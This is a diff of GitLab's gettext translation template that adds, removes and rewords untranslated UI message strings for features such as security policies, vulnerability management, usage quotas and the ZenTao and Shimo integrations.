@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
